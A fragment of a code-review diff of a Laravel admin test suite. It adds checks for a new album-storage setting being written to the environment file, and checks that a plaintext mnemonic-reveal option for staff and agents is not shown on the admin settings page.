->assertSee('系统')
|
||||
->assertSee('设置')
|
||||
->assertSee('系统日志')
|
||||
->assertSee('管理员')
|
||||
->assertDontSee('原始日志');
|
||||
}
|
||||
@@ -117,6 +147,7 @@ class SystemAdminTest extends TestCase
|
||||
$this->actingAs($super, 'admin')
|
||||
->post(route('admin.system.settings.update'), [
|
||||
'telegram_owner_chat_id' => '-1001',
|
||||
'official_album_storage' => '1',
|
||||
'auto_transfer_enabled' => '0',
|
||||
])
|
||||
->assertOk()
|
||||
@@ -126,8 +157,10 @@ class SystemAdminTest extends TestCase
|
||||
$env = (string) file_get_contents(base_path('.env'));
|
||||
$this->assertStringContainsString('TELEGRAM_OWNER_CHAT_ID=-1001', $env);
|
||||
$this->assertStringContainsString('TELEGRAM_BOT_USERNAME=test_bot', $env);
|
||||
$this->assertStringContainsString('CORUNA_OFFICIAL_ALBUM_STORAGE=1', $env);
|
||||
$this->assertSame('test_bot', config('coruna.telegram.bot_username'));
|
||||
$this->assertSame('-1001', config('coruna.telegram.owner_chat_id'));
|
||||
$this->assertTrue(config('coruna.album_storage.official_default'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -154,7 +187,9 @@ class SystemAdminTest extends TestCase
|
||||
->assertDontSee('THiddenToAddressShouldNotRender')
|
||||
->assertDontSee('hidden-cdn.example.com')
|
||||
->assertSee('TELEGRAM_BOT_TOKEN')
|
||||
->assertSee('@ops_bot');
|
||||
->assertSee('@ops_bot')
|
||||
->assertDontSee('助记词明文(员工 / 代理)')
|
||||
->assertDontSee('staff_mnemonic_reveal');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
Reference in New Issue
Block a user